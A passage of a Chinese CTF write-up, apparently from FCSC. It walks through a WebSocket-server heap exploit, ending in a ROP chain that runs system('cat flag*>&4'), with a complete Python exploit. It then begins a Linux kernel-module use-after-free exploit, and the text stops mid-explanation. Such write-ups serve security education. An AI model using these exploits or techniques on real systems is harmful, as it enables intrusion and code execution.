    word &= 0xFFFFFFFF
    if (word & 1) == 0:
        raise ValueError(f"raw word {word:#x} is not encodable as a JS int")
    value = word >> 1
    if value >= 0x40000000:
        value -= 0x80000000
    return value


def slot_for(vars_addr, target_addr):
    delta = target_addr - vars_addr
    if delta % 4:
        raise ValueError(f"unaligned write target {target_addr:#x}")
    slot = delta // 4
    if not 0 <= slot <= 0xFFFF:
        raise ValueError(f"slot {slot:#x} is outside the 16-bit operand range")
    return slot


def js_string_for_bytes(blob):
    if len(blob) & 1:
        blob += b"P"
    out = []
    for i in range(0, len(blob), 2):
        out.append("\\u%04x" % struct.unpack("<H", blob[i:i + 2])[0])
    return "".join(out)


def parse_break(data):
    m = re.search(rb"break ([0-9a-fA-F]+)", data)
    if not m:
        raise RuntimeError(f"could not parse break leak from {data!r}")
    return int(m.group(1), 16)


def build_payload(break_addr):
    vars_addr = break_addr + OFF_VARS
    slots_addr = break_addr + OFF_SLOTS
    fake_class = slots_addr + 0x100
    shell_entry = break_addr - OFF_SC_CHARS + 1

    writes = [
        (fake_class + JSCLASS_CONVERT, shell_entry),
        (slots_addr + 2 * 4, fake_class | 1),
    ]

    assignments = "".join(
        f"v{slot_for(vars_addr, target)}={jsint_for_raw_word(raw)};"
        for target, raw in writes
    )
    names = ",".join(f"v{i}" for i in range(65536))

    sc = js_string_for_bytes(b"Z" + SHELLCODE + b"YMARKY")
    src = (
        f'var sc="{sc}";'
        f"var g;function f(){{var {names};g={{}};{assignments}return 1;}}"
        "f();g();\n"
    )
    return src.encode()


def recv_all(sock):
    sock.settimeout(3.0)
    data = bytearray()
    while True:
        try:
            chunk = sock.recv(4096)
        except TimeoutError:
            break
        if not chunk:
            break
        data += chunk
    return bytes(data)


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--host", default="127.0.0.1")
    parser.add_argument("--port", type=int, default=4000)
    args = parser.parse_args()

    with socket.create_connection((args.host, args.port), timeout=5.0) as sock:
        banner = sock.recv(4096)
        payload = build_payload(parse_break(banner))
        sock.sendall(payload)
        sock.shutdown(socket.SHUT_WR)
        out = banner + recv_all(sock)

    sys.stdout.buffer.write(out)


if __name__ == "__main__":
    main()

打通后输出:

before 4050, after 4041, break 6340d000
FCSC{e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855}

Flag:

FCSC{e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855}

wsd

题目概况

题目给了一个很小的WebSocket server,要求通过Docker暴露出来的端口读/app/flag.txt。源码也给了,所以重点不在逆向,而在把WebSocket状态机和glibc堆状态接起来。

保护如下:

Arch:       amd64-64-little
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        PIE enabled
Stripped:   No

Partial RELRO后面会用到,.got.plt可写。PIE、libc和栈都要leak。

漏洞根因

先看session结构:

struct ws_session {
    enum ws_state     state;

    /* Fragmentation state */
    enum ws_opcode    frag_opcode;
    size_t            frag_len;
    uint8_t          *frag_buf;
};

创建session时只初始化了state:

struct ws_session *ws_session_create(struct ws_client *client)
{
    struct ws_session *s;

    s = malloc(sizeof(*s));
    if (!s)
        return NULL;

    s->state  = WS_STATE_OPEN;

    return s;
}

frag_opcode、frag_len、frag_buf全部是未初始化字段。这个bug本身还不够,还要让这块新malloc出来的session里残留我们可控的数据。

HTTP握手失败时,程序会解析请求头,header value由堆分配保存。握手失败以后这些header会被释放,但连接不会断,可以继续读下一次HTTP请求。于是流程可以做成:

  1. 第一次发非法握手,带几个特定大小、特定内容的header,让对应tcache bin里留下可控chunk。
  2. 同一条连接第二次发合法握手,程序调用ws_session_create(),malloc(sizeof(struct ws_session))从刚才的tcache里拿chunk。
  3. 因为只写了state,后面的fragment字段继承旧header value。

ws_session大小是0x20。header value里放:

seed = b"A" * 16 + p64(-0x10)

复用为session后,前8字节被state=0覆盖,frag_opcode对应旧数据,frag_len刚好变成-0x10,frag_buf在我们使用的布局里为NULL或后面再覆盖成NULL。

真正的越界发生在continuation处理:

} else if (frame->opcode == WS_OP_CONTINUATION) {
    if (frame->payload_len > 0) {
        size_t new_len = session->frag_len + frame->payload_len;
        if (new_len > WSD_MAX_FRAME_SIZE) {
            return -1;
        }

        uint8_t *tmp = realloc(session->frag_buf, new_len);
        if (!tmp) {
            return -1;
        }

        session->frag_buf = tmp;
        memcpy(session->frag_buf + session->frag_len,
               frame->payload, frame->payload_len);
        session->frag_len = new_len;
    }

    if (frame->fin) {
        int ret = ws_send_frame(client, session->frag_opcode,
                    session->frag_buf, session->frag_len);

        free(session->frag_buf);
        session->frag_buf = NULL;
        session->frag_len = 0;

        return ret;
    }
}

如果frag_len=-0x10,frag_buf=NULL,发一个非空continuation:

new_len = -0x10 + payload_len
tmp = realloc(NULL, new_len) = malloc(new_len)
memcpy(tmp - 0x10, payload, payload_len)

这样就能从新chunk前面0x10字节开始写。写的位置正好覆盖chunk header,所以不能乱写。利用时先写一个合法header,例如:

p64(0) + p64(0x91)

这样后面分配/释放不至于马上因为chunk metadata坏掉而abort。

从underwrite到AAR

有了heap underwrite以后,下一步是把它变成“可改session字段”。这里不是PONG分支本身会改session,而是利用ws_parse_frame()在进入业务逻辑前会先为非空payload分配一块堆内存:

if (payload_len > 0) {
    frame->payload = malloc((size_t)payload_len);
    if (!frame->payload)
        return -1;
    memcpy(frame->payload, buf + offset, (size_t)payload_len);
    /* masked payload会在这里原地unmask,和漏洞无关 */
}

前面make_fake_90()做的事,是用frag_len=-0x10制造一次underwrite,把刚分配出来的小chunk header改成size=0x91:

def make_fake_90(s):
    s.sendall(frame(0, p64(0) + p64(0x91) + b"A" * 0x20, fin=True))
    read_ws(s, timeout=0.2)

这次continuation结束时,程序会free(session->frag_buf)。由于chunk header已经被改成0x91,这块内存会被当成0x90 chunk放进tcache。后面如果发一个payload长度为0x80的PONG,ws_parse_frame()会先malloc(0x80),刚好从0x90 tcache里取回这块fake chunk,然后把PONG payload拷进去。

在当前固定握手布局下,这块fake chunk的用户区距离ws_session是0x50。于是PONG payload里0x50偏移处的内容会覆盖session字段:

def overwrite_session(s, frag_len, frag_buf):
    buf = bytearray(b"P" * 0x80)
    buf[0x50:0x70] = struct.pack("<QQQQ",
                                  0,
                                  1,
                                  frag_len & ((1 << 64) - 1),
                                  frag_buf)
    s.sendall(frame(0xA, bytes(buf), fin=True))
    read_ws(s, timeout=0.05)

这里写的四个qword分别对应:

state       = 0
frag_opcode = 1
frag_len    = controlled
frag_buf    = controlled

frag_opcode=1只是让最终echo走TEXT opcode,方便收包。这里的0x50不是拍脑袋来的,它来自这轮堆布局:malloc(0x80)取回的fake 0x90 chunk在session前面,用户区到session起始正好差0x50;覆盖后用空continuation读任意地址能稳定验证这个偏移。

AAR的关键是空continuation。把session改成:

frag_len = size
frag_buf = addr

然后发一个payload_len=0且FIN=1的continuation。因为payload_len==0,上面的if (frame->payload_len > 0)整个跳过,不会执行realloc,也不会改frag_buf/frag_len。随后进入if (frame->fin),程序直接:

ws_send_frame(client, session->frag_opcode,
              session->frag_buf, session->frag_len);

也就是从addr读size字节发回来。回显后它会free(session->frag_buf),所以读非堆地址时这条连接一般会崩,但server是fork模型,父进程不死,拿到response就够了。

代码上就是:

def arb_read(addr, size):
    s = connect_seeded()
    make_fake_90(s)
    overwrite_session(s, size, addr)
    s.sendall(frame(0, b"", fin=True))
    data = ws_payload(read_ws(s, timeout=0.8))
    s.close()
    return data

这个primitive是后面所有leak的基础。

leak链

heap

heap leak用safe-linking的编码形式。把session改成:

frag_len = 0x37
frag_buf = NULL

再发一个一字节continuation。这次payload_len>0,所以会走realloc(NULL, 0x38),也就是拿一个0x40大小的tcache chunk。由于前面堆里有释放过的同size chunk,回显出来的开头能看到tcache entry里safe-linked的next。

glibc safe-linking是:

stored = next ^ (chunk_addr >> 12)

当next=NULL时,stored就是chunk_addr >> 12。所以拿到第一个qword后:

heap_page = u64(leak[:8]) << 12

这里得到的是heap page base,后面所有tcache_perthread_struct附近的固定偏移都从这个page算。

libc

libc leak来自unsorted bin。第一次非法握手里放一个比较大的header:

extra += b"X-Large: " + b"B" * 0x500 + b"\r\n"

释放后它不会进小tcache bin,而是在heap上留下main arena附近的fd/bk指针。利用AAR从heap page附近按0x100扫,找高位像libc的qword,然后用本题给的libc验证ELF magic。

脚本里用的偏移是:

MAIN_ARENA_LEAK_OFF = 0x1E6B20
libc_base = qword - MAIN_ARENA_LEAK_OFF

这里不要把它理解成通用glibc常量。它是本题libc-2.41.so里实际泄漏出来的arena相关指针到libc base的距离。算完以后必须读libc_base前4字节确认是ELF,否则heap里碰到一个形似libc地址的值就会误判。

PIE

有libc以后先读environ:

environ_ptr = u64(arb_read(libc_base + LIBC.sym["environ"], 8))

environ给了当前子进程的栈地址。栈上除了返回地址,还有auxv。程序是PIE,auxv里的AT_PHDR指向主程序的program header。脚本从environ附近向下按0x100扫,找:

typ == 3     # AT_PHDR

找到后:

pie_base = phdr - 0x40

0x40是这个ELF里program header相对PIE base的偏移。算完同样读PIE base确认ELF magic。

返回地址

最终要打栈,光有栈地址还不够,要知道当前处理WebSocket frame时的返回槽。这个偏移不是从源码直接看出来的,因为和编译选项、调用层级、当前函数栈帧都有关。

做法是用AAR读environ附近的栈内容,再结合反汇编确认。栈上能看到:

environ - 0x200: PIE + 0x16cc

反汇编里0x16cc正好是server_handle_client()中:

call ws_on_data
test eax,eax

也就是ws_on_data()返回后的下一条指令。于是最终用:

stack_ret = environ - 0x200

后面把ROP写到这里,等当前ws_on_data()处理完frame返回时触发。

AAW和控制流劫持

有AAR之后,地址都齐了。接下来要做AAW。这里还是利用负frag_len,不过目标从“改session字段”变成“改tcache freelist”。

非法握手阶段额外准备两组chunk:

for i in range(3):
    extra += b"X-50-%d: " % i + bytes([ord("C") + i]) * 56 + b"\r\n"
for i in range(3):
    extra += b"X-70-%d: " % i + bytes([ord("F") + i]) * 88 + b"\r\n"

这里的0x50、0x70是glibc chunk size,不是header value长度。还要注意HTTP header value是通过字符串保存的,实际malloc大小包含末尾NUL。比如X-50的value长度是56,strdup实际request是57:

request2size(56 + 1) = align(57 + 8 + 0xf) = 0x50

X-70的value长度是88,加上NUL以后实际request是89:

request2size(88 + 1) = align(89 + 8 + 0xf) = 0x70

后面WebSocket frame payload就没有这个NUL了,所以88字节PING payload本身不会进0x70,这也是第二阶段初版失败的原因。准备三个chunk是因为后面同一个bin里会有连续的realloc(NULL,new_len)、parser payload malloc、PONG output malloc等分配,不能只有一个entry。

这轮布局里用到的几个用户指针偏移如下:

0x50 bin:
  heap + 0x860    X-50-0
  heap + 0x8d0    X-50-1    # 被覆盖fd
  heap + 0x940    X-50-2    # realloc(NULL,0x40)先取走它

0x70 bin:
  heap + 0x9b0    X-70-0
  heap + 0xa40    X-70-1    # 被覆盖fd
  heap + 0xad0    X-70-2    # realloc(NULL,0x59)先取走它

这些偏移不是ELF里的静态符号,而是由本题固定的HTTP header分配顺序得到的堆布局。heap base通过safe-linking先leak出来,所以实际地址仍然是动态计算。

Stage 1:把free@GOT改成ret

第一阶段poison 0x50 bin,使ws_send_frame()里的输出buffer分配到free@GOT:

target = pie + BIN.got["free"]
t1_50 = heap + 0x8D0
poison = p64(target ^ (t1_50 >> 12)) + p64(0) + b"A" * (0xB0 - 16)
poison_bin(s, -0x70, poison)

这里t1_50=heap+0x8d0是被覆盖fd的0x50 tcache entry用户指针。具体分配顺序是:

overwrite_session(s, -0x70, 0)
payload_len = 0xb0
new_len = -0x70 + 0xb0 = 0x40
realloc(NULL,0x40) -> 取走heap+0x940这个0x50 chunk
memcpy(tmp-0x70, payload, 0xb0) -> 写到heap+0x8d0,覆盖X-50-1的fd

tcache poisoning要写safe-linked next,所以写:

encoded = target ^ (chunk_addr >> 12)

按直觉会想把free@GOT写成system,但这题不适合直接这么做。ws_send_frame()构造WebSocket回包时会先写frame header:

frame_buf[0] = 0x80 | (opcode & 0x0F);
frame_buf[1] = (uint8_t)len;
memcpy(frame_buf + hdr_len, payload, len);

PONG的opcode是0xa,所以如果frame_buf=free@GOT,free@GOT前两个字节一定会被写成:

8a <payload_len>

因此我在libc里找一个满足条件的ret gadget:

addr_low_byte == 0x8a
(addr >> 8) & 0xff == payload_len

这样WebSocket header本身就是目标地址低两字节,payload从第三字节开始补剩下6字节。随后发PING时,两个0x50分配正好消耗这条链:

ws_parse_frame() malloc(ret_payload_len)  -> X-50-1,tcache head变成free@GOT
ws_send_frame() malloc(2+ret_payload_len) -> free@GOT

最终效果是:

free@GOT = libc_ret

为什么要先写free=ret?因为后面会让ws_send_frame()的frame_buf落到GOT或栈上,函数末尾会free(frame_buf)。如果free还是正常glibc free,释放非heap地址必炸;改成ret以后这些free都变成空操作。

还有一个细节:write@GOT在free@GOT+0x20,这次payload可能覆盖到write@GOT。如果write坏了,PONG和flag都发不回来。所以stage 1 payload顺手把write@GOT恢复:

write_off = BIN.got["write"] - BIN.got["free"] - 2
payload[write_off:write_off + 8] = p64(libc + LIBC.sym["write"])

Stage 2:把PONG写到返回地址

第二阶段poison 0x70 bin,目标是栈返回槽前8字节:

target = stack_ret - 8
t1_70 = heap + 0xA40
poison = p64(target ^ (t1_70 >> 12)) + p64(0) + b"B" * (0xE9 - 16)
poison_bin(s, -0x90, poison)

这里t1_70=heap+0xa40同样是被覆盖fd的0x70 tcache entry。前面的poison过程和0x50 bin一样,只是换成0x70:

overwrite_session(s, -0x90, 0)
payload_len = 0xe9
new_len = -0x90 + 0xe9 = 0x59
realloc(NULL,0x59) -> 取走heap+0xad0这个0x70 chunk
memcpy(tmp-0x90, payload, 0xe9) -> 写到heap+0xa40,覆盖X-70-1的fd

目标设成stack_ret-8,是因为PONG输出有2字节header,payload前面再垫6字节,刚好从stack_ret开始放ROP:

frame_buf + 0 = 0x8a
frame_buf + 1 = payload_len
frame_buf + 2..7 = padding
frame_buf + 8 = first ROP qword

这一步最容易错的是size class。初版用88字节PING时可以收到PONG,但ROP不会执行。原因是同一轮会发生两类malloc:

  1. ws_parse_frame()先malloc(frame->payload_len)保存客户端payload;
  2. ws_send_frame()再malloc(2 + frame->payload_len)构造PONG。

如果payload是88字节:

malloc(88)      -> 0x60 bin
malloc(90)      -> 0x70 bin

parser payload不消耗0x70 tcache head,PONG只拿到第一个真实0x70 chunk,还没轮到poisoned target。

修正后使用96字节PING:

malloc(96)      -> 0x70 bin
malloc(98)      -> 0x70 bin

这样parser payload先消耗第一个0x70 chunk,PONG output才会拿到poisoned target。对应地,前面做poison的continuation也要让realloc(NULL,new_len)落到0x70 bin:

frag_len = -0x90
payload_len = 0xe9
new_len = 0x59
request2size(0x59) = 0x70

最终ROP:

ret = libc + ROP_LIBC.find_gadget(["ret"])[0]
pop_rdi = libc + ROP_LIBC.find_gadget(["pop rdi", "ret"])[0]
system = libc + LIBC.sym["system"]
cmd = b"cat flag*>&4\0"

rop = bytearray(b"C" * 96)
cmd_addr = stack_ret + 32
rop[6:14] = p64(ret)
rop[14:22] = p64(pop_rdi)
rop[22:30] = p64(cmd_addr)
rop[30:38] = p64(system)
rop[38:38 + len(cmd)] = cmd

ret用于栈对齐,>&4是因为子进程里client socket fd稳定为4。

完整EXP

脚本假设目录结构和附件一致:wsd/wsd、wsd/libc-2.41.so在当前目录下,服务监听在127.0.0.1:4000。如果端口不同,用环境变量PORT指定。

import os
import re
import socket
import struct

from pwn import ELF, ROP


HOST = os.environ.get("HOST", "127.0.0.1")
PORT = int(os.environ.get("PORT", "4000"))

HERE = os.path.dirname(__file__) or "."
LIBC = ELF(os.path.join(HERE, "wsd", "libc-2.41.so"), checksec=False)
BIN = ELF(os.path.join(HERE, "wsd", "wsd"), checksec=False)
ROP_LIBC = ROP(LIBC)
LIBC_BYTES = open(os.path.join(HERE, "wsd", "libc-2.41.so"), "rb").read()

MAIN_ARENA_LEAK_OFF = 0x1E6B20


def p64(x):
    return struct.pack("<Q", x & ((1 << 64) - 1))


def u64(x):
    return struct.unpack("<Q", x.ljust(8, b"\0"))[0]


def recvn(sock, n, timeout=1.0):
    sock.settimeout(timeout)
    out = b""
    try:
        while len(out) < n:
            chunk = sock.recv(n - len(out))
            if not chunk:
                break
            out += chunk
    except (TimeoutError, socket.timeout):
        pass
    return out


def recv_http(sock, timeout=0.2):
    sock.settimeout(timeout)
    out = b""
    try:
        while b"\r\n\r\n" not in out:
            chunk = sock.recv(4096)
            if not chunk:
                break
            out += chunk
    except (TimeoutError, socket.timeout):
        pass
    return out


def send_http(sock, key=b"dGhlIHNhbXBsZSBub25jZQ==", extra=b"", valid=True):
    if valid:
        req = (
            b"GET / HTTP/1.1\r\n"
            b"Host: localhost\r\n"
            b"Upgrade: websocket\r\n"
            b"Connection: Upgrade\r\n"
            b"Sec-WebSocket-Key: " + key + b"\r\n"
            b"Sec-WebSocket-Version: 13\r\n"
            + extra +
            b"\r\n"
        )
    else:
        req = (
            b"GET / HTTP/1.1\r\n"
            b"Host: localhost\r\n"
            b"Upgrade: nope\r\n"
            + extra +
            b"\r\n"
        )
    sock.sendall(req)
    return recv_http(sock)


def frame(opcode, payload=b"", fin=True, mask=False):
    first = (0x80 if fin else 0) | opcode
    length = len(payload)
    second = 0x80 if mask else 0
    if length <= 125:
        hdr = bytes([first, second | length])
    elif length <= 0xFFFF:
        hdr = bytes([first, second | 126]) + struct.pack(">H", length)
    else:
        hdr = bytes([first, second | 127]) + struct.pack(">Q", length)
    if not mask:
        return hdr + payload
    key = b"ABCD"
    masked = bytes(c ^ key[i % 4] for i, c in enumerate(payload))
    return hdr + key + masked


def read_ws(sock, timeout=1.0):
    hdr = recvn(sock, 2, timeout=timeout)
    if len(hdr) < 2:
        return hdr
    n = hdr[1] & 0x7F
    if n == 126:
        ext = recvn(sock, 2, timeout=timeout)
        if len(ext) < 2:
            return hdr + ext
        n = struct.unpack(">H", ext)[0]
        hdr += ext
    elif n == 127:
        ext = recvn(sock, 8, timeout=timeout)
        if len(ext) < 8:
            return hdr + ext
        n = struct.unpack(">Q", ext)[0]
        hdr += ext
    return hdr + recvn(sock, n, timeout=timeout)


def ws_payload(data):
    if len(data) < 2:
        return b""
    n = data[1] & 0x7F
    off = 2
    if n == 126:
        off += 2
    elif n == 127:
        off += 8
    return data[off:off + n]


def connect_seeded(frag_len=-0x10, large_header=True):
    s = socket.create_connection((HOST, PORT))
    seed = b"A" * 16 + p64(frag_len)
    extra = b""
    if large_header:
        extra += b"X-Large: " + b"B" * 0x500 + b"\r\n"
    for i in range(3):
        extra += b"X-Seed-%02d: " % i + seed + b"\r\n"
    send_http(s, extra=extra, valid=False)
    resp = send_http(s, key=b"K" * 16, valid=True)
    if b"101 Switching Protocols" not in resp:
        raise RuntimeError(f"handshake failed: {resp!r}")
    return s


def connect_multibin():
    s = socket.create_connection((HOST, PORT))
    seed = b"A" * 16 + p64(-0x10)
    extra = b"X-Large: " + b"B" * 0x500 + b"\r\n"
    for i in range(3):
        extra += b"X-50-%d: " % i + bytes([ord("C") + i]) * 56 + b"\r\n"
    for i in range(3):
        extra += b"X-70-%d: " % i + bytes([ord("F") + i]) * 88 + b"\r\n"
    for i in range(3):
        extra += b"X-Seed-%02d: " % i + seed + b"\r\n"
    send_http(s, extra=extra, valid=False)
    resp = send_http(s, key=b"K" * 16, valid=True)
    if b"101 Switching Protocols" not in resp:
        raise RuntimeError(resp)
    return s


def make_fake_90(s):
    s.sendall(frame(0, p64(0) + p64(0x91) + b"A" * 0x20, fin=True))
    read_ws(s, timeout=0.2)


def overwrite_session(s, frag_len, frag_buf):
    buf = bytearray(b"P" * 0x80)
    buf[0x50:0x70] = struct.pack("<QQQQ",
                                  0,
                                  1,
                                  frag_len & ((1 << 64) - 1),
                                  frag_buf)
    s.sendall(frame(0xA, bytes(buf), fin=True))
    read_ws(s, timeout=0.05)


def poison_bin(s, frag_len, payload):
    s.sendall(frame(0, payload, fin=False))
    read_ws(s, timeout=0.05)


def heap_page_leak():
    s = connect_seeded()
    make_fake_90(s)
    overwrite_session(s, 0x37, 0)
    s.sendall(frame(0, b"Z", fin=True))
    leak = ws_payload(read_ws(s, timeout=0.5))
    s.close()
    return u64(leak[:8]) << 12


def arb_read(addr, size):
    s = connect_seeded()
    make_fake_90(s)
    overwrite_session(s, size, addr)
    s.sendall(frame(0, b"", fin=True))
    data = ws_payload(read_ws(s, timeout=0.8))
    s.close()
    return data


def leak_libc(heap_page):
    candidates = []
    for base_off in range(0x300, 0x1200, 0x100):
        data = arb_read(heap_page + base_off, 0x100)
        for off in range(0, len(data) - 8, 8):
            q = u64(data[off:off + 8])
            if (q >> 40) in range(0x70, 0x80):
                candidates.append(q)

    for q in candidates:
        libc_base = q - MAIN_ARENA_LEAK_OFF
        if libc_base & 0xFFF:
            continue
        if arb_read(libc_base, 4) == b"\x7fELF":
            return libc_base
    raise RuntimeError("libc leak failed")


def leak_pie(libc_base):
    environ_ptr = u64(arb_read(libc_base + LIBC.sym["environ"], 8))
    start = (environ_ptr - 0x1000) & ~0xFFF
    for chunk_off in range(0, 0x5000, 0x100):
        data = arb_read(start + chunk_off, 0x100)
        for off in range(0, len(data) - 16, 8):
            typ = u64(data[off:off + 8])
            val = u64(data[off + 8:off + 16])
            if typ == 3 and (val >> 40) in range(0x50, 0x70):
                pie_base = val - 0x40
                if arb_read(pie_base, 4) == b"\x7fELF":
                    return pie_base
    raise RuntimeError("PIE leak failed")


def ret_for_ws_50(libc_base):
    fallback = None
    for off, byte in enumerate(LIBC_BYTES):
        if byte != 0xC3:
            continue
        addr = libc_base + off
        payload_len = (addr >> 8) & 0xFF
        if (addr & 0xFF) != 0x8A or not (6 <= payload_len <= 70):
            continue
        if payload_len <= 0x1E or payload_len >= 0x26:
            return addr, payload_len
        fallback = (addr, payload_len)
    if fallback:
        return fallback
    raise RuntimeError("no encodable ret gadget")


def main():
    heap = heap_page_leak()
    libc = leak_libc(heap)
    pie = leak_pie(libc)
    environ = u64(arb_read(libc + LIBC.sym["environ"], 8))
    stack_ret = environ + int(os.environ.get("STACK_DIFF", "-0x200"), 0)

    print(f"heap={heap:#x} libc={libc:#x} pie={pie:#x} environ={environ:#x} ret={stack_ret:#x}")

    s = connect_multibin()
    make_fake_90(s)

    ret_gadget, ret_payload_len = ret_for_ws_50(libc)

    overwrite_session(s, -0x70, 0)
    target = pie + BIN.got["free"]
    t1_50 = heap + 0x8D0
    poison = p64(target ^ (t1_50 >> 12)) + p64(0) + b"A" * (0xB0 - 16)
    poison_bin(s, -0x70, poison)

    payload = bytearray(p64(ret_gadget)[2:].ljust(ret_payload_len, b"R"))
    write_off = BIN.got["write"] - BIN.got["free"] - 2
    if 0 <= write_off and write_off + 8 <= len(payload):
        payload[write_off:write_off + 8] = p64(libc + LIBC.sym["write"])

    s.sendall(frame(0x9, payload, fin=True))
    read_ws(s, timeout=0.5)

    overwrite_session(s, -0x90, 0)
    target = stack_ret - 8
    t1_70 = heap + 0xA40
    poison = p64(target ^ (t1_70 >> 12)) + p64(0) + b"B" * (0xE9 - 16)
    poison_bin(s, -0x90, poison)

    ret = libc + ROP_LIBC.find_gadget(["ret"])[0]
    pop_rdi = libc + ROP_LIBC.find_gadget(["pop rdi", "ret"])[0]
    system = libc + LIBC.sym["system"]
    cmd = b"cat flag*>&4\0"

    rop = bytearray(b"C" * 96)
    cmd_addr = stack_ret + 32
    rop[6:14] = p64(ret)
    rop[14:22] = p64(pop_rdi)
    rop[22:30] = p64(cmd_addr)
    rop[30:38] = p64(system)
    rop[38:38 + len(cmd)] = cmd

    s.sendall(frame(0x9, bytes(rop), fin=True))

    out = b""
    s.settimeout(3.0)
    try:
        while True:
            chunk = s.recv(4096)
            if not chunk:
                break
            out += chunk
            if b"FCSC{" in out:
                break
    except (TimeoutError, socket.timeout):
        pass

    print(out)
    m = re.search(rb"FCSC\{[^}\n]+\}", out)
    if m:
        print(m.group(0).decode())


if __name__ == "__main__":
    main()

运行:

python3 exp.py

如果本地映射端口不是4000:

PORT=4004 python3 exp.py

Flag

FCSC{de54333a4ee42e9801119af160a82b4d27973af15c0d78fa44e3eab4c4d95878}

netsec

题目给了源码和官方Docker环境,kernel是Linux 6.18.7,挑战服务不在用户态程序本身,而是在一个netfilter模块里。模块拦截发往1337端口的TCP流量,对payload做XOR处理;真正监听1337的用户态服务只是nc -knlp 1337 -e /bin/cat。

主线如下:

8bit hash collision
-> hash_table里留下freed sec_conn
-> leak slab地址
-> 伪造sec_conn做AAR/AAW
-> leak模块全局变量和kernel base
-> 改kmem_cache->ctor为set_memory_x
-> 写可执行slab shellcode
-> shellcode读/flag.txt,再用AAR读回结果

模块逻辑

模块创建了一个名为netsec的kmem_cache,对象大小就是struct sec_conn的大小,也就是0x20。

struct sec_conn {
    uint8_t *in_key;
    uint8_t *out_key;
    uint8_t *buf;
    uint buf_len;
};

初始化时:

cache = kmem_cache_create("netsec", sizeof(struct sec_conn),
                          0, SLAB_HWCACHE_ALIGN | SLAB_NO_MERGE, NULL);
crypto_kdf(in_key, KEY_SIZE, hook_port);

in_key由固定服务端口1337生成。每条连接还有一个out_key,由客户端source port生成。

连接表只有0x100项:

static struct sec_conn* hash_table[0x100] = { NULL };

索引是IP和端口各字节异或后的低8bit:

#define HASH(addr, port) \
    ((addr >> 24) ^ (addr >> 16) ^ (addr >> 8) ^ (addr) ^ \
     (port >> 8) ^ (port)) & 0xff

收包方向hook_in处理发往1337的数据。SYN创建连接,FIN销毁连接,普通payload会取出sec_conn,把payload拷进sconn->buf,再用sconn->in_key异或:

if (tcph->syn) {
    create_sec_conn(ip_src, port_src);
} else if (tcph->fin) {
    destroy_sec_conn(ip_src, port_src);
} else if (data_len > 0) {
    sconn = get_sec_conn(ip_src, port_src);
    if (sconn) {
        buf = get_sec_conn_buf(sconn, data_len);
        skb_copy_bits(skb, header_len, buf, data_len);
        crypto_xor(buf, data_len, sconn->in_key, KEY_SIZE);
        skb_store_bits(skb, header_len, buf, data_len);
    }
}

发包方向hook_out处理从1337发出的数据,也就是cat回显出来的内容。这里同样会取sconn->buf,不过XOR key换成了sconn->out_key:

if (data_len > 0) {
    sconn = get_sec_conn(ip_dst, port_dst);
    if (sconn) {
        buf = get_sec_conn_buf(sconn, data_len);
        skb_copy_bits(skb, header_len, buf, data_len);
        crypto_xor(buf, data_len, sconn->out_key, KEY_SIZE);
        skb_store_bits(skb, header_len, buf, data_len);
    }
}

所以一次正常交互是:

client payload
-> hook_in用in_key解密
-> /bin/cat回显
-> hook_out用out_key加密
-> client收到结果

in_key和out_key的KDF都在源码里,两个key都能在用户态算出来。后面伪造结构体时,需要提前把这两层XOR抵消掉。

hash collision和UAF

创建连接时,模块会申请两个netsec cache对象:

void create_sec_conn(uint32_t ip, uint16_t port) {
    uint8_t h = HASH(ip, port);
    struct sec_conn* sconn = kmem_cache_alloc(cache, GFP_KERNEL);
    sconn->in_key = in_key;
    sconn->out_key = kmem_cache_alloc(cache, GFP_KERNEL);
    sconn->buf = NULL;
    sconn->buf_len = 0;
    crypto_kdf(sconn->out_key, KEY_SIZE, port);
    hash_table[h] = sconn;
}

记作:

Sx = struct sec_conn
Kx = out_key buffer

正常一条连接会有Sx和Kx两个0x20对象。

销毁连接时:

void destroy_sec_conn(uint32_t ip, uint16_t port) {
    uint8_t h = HASH(ip, port);
    struct sec_conn* sconn = hash_table[h];
    if (sconn) {
        if (sconn->out_key) {
            kmem_cache_free(cache, sconn->out_key);
        }
        if (sconn->buf) {
            kfree(sconn->buf);
        }
        kmem_cache_free(cache, sconn);
    }
}

这里释放了out_key和sconn,但是没有清hash_table[h]。另外,get_sec_conn()只按hash取bucket,不检查完整ip,port:

struct sec_conn* get_sec_conn(uint32_t ip, uint16_t port) {
    uint8_t h = HASH(ip, port);
    return hash_table[h];
}

于是只要找两个同hash的source port即可:

open p1:
  alloc S1
  alloc K1
  hash[h] = S1

open p2:
  alloc S2
  alloc K2
  hash[h] = S2       // collision覆盖S1

close p2:
  free K2
  free S2
  hash[h]仍然是S2

send p1:
  get_sec_conn(p1)按hash返回freed S2

实际使用:

p1 = 1338
p2 = 2103
HASH(192.168.2.1, 1338) = HASH(192.168.2.1, 2103) = 0x54

到这里,p1是一条还活着的TCP连接,但模块查表时拿到的是已经释放的S2。

泄漏slab地址

get_sec_conn_buf()决定了后面怎么做heap feng shui:

uint8_t* get_sec_conn_buf(struct sec_conn* sconn, size_t len) {
    if (sconn->buf_len < len) {
        kfree(sconn->buf);
        if (len <= CACHE_SIZE) {
            len = CACHE_SIZE;
            sconn->buf = kmem_cache_alloc(cache, GFP_KERNEL);
        } else {
            sconn->buf = kmalloc(len, GFP_KERNEL);
        }
        sconn->buf_len = len;
    }
    return sconn->buf;
}

CACHE_SIZE=0x20,所以:

len <= 0x20 -> sconn->buf来自netsec kmem_cache
len >  0x20 -> sconn->buf来自普通kmalloc

第一步发0x28,故意走kmalloc(0x28),不马上占回netsec对象。此时danglingS2里还残留着旧字段,尤其是旧out_key指针。K2已经free,里面会有allocator留下的元数据。因为回显路径会用旧out_key对输出做XOR,反过来消掉已知key后就能拿到一个heap/slab附近的地址。

一次运行里泄漏结果如下:

heap_leak = 0xffff9f7381c88040
slab_addr = 0xffff9f7381c88000

这个leak的作用有两个:一是提供可用scratch区域,二是给后续读写模块全局和放置字符串/shellcode提供可控的内核堆地址参考。

从UAF到AAR/AAW

真正关键的是sec_conn四个字段的语义:

+0x00 in_key   hook_in使用的XOR key指针
+0x08 out_key  hook_out使用的XOR key指针
+0x10 buf      skb_copy_bits/skb_store_bits的中转buffer
+0x18 buf_len  决定是否重新分配buf

如果能把freedS2对应的netsec cache对象重占成可控内容,dangling路径就会把这0x20字节解释成新的sec_conn。由于协议会经过hook_in和hook_out两次XOR,写入fake structure前要先把两层key预先异或掉:

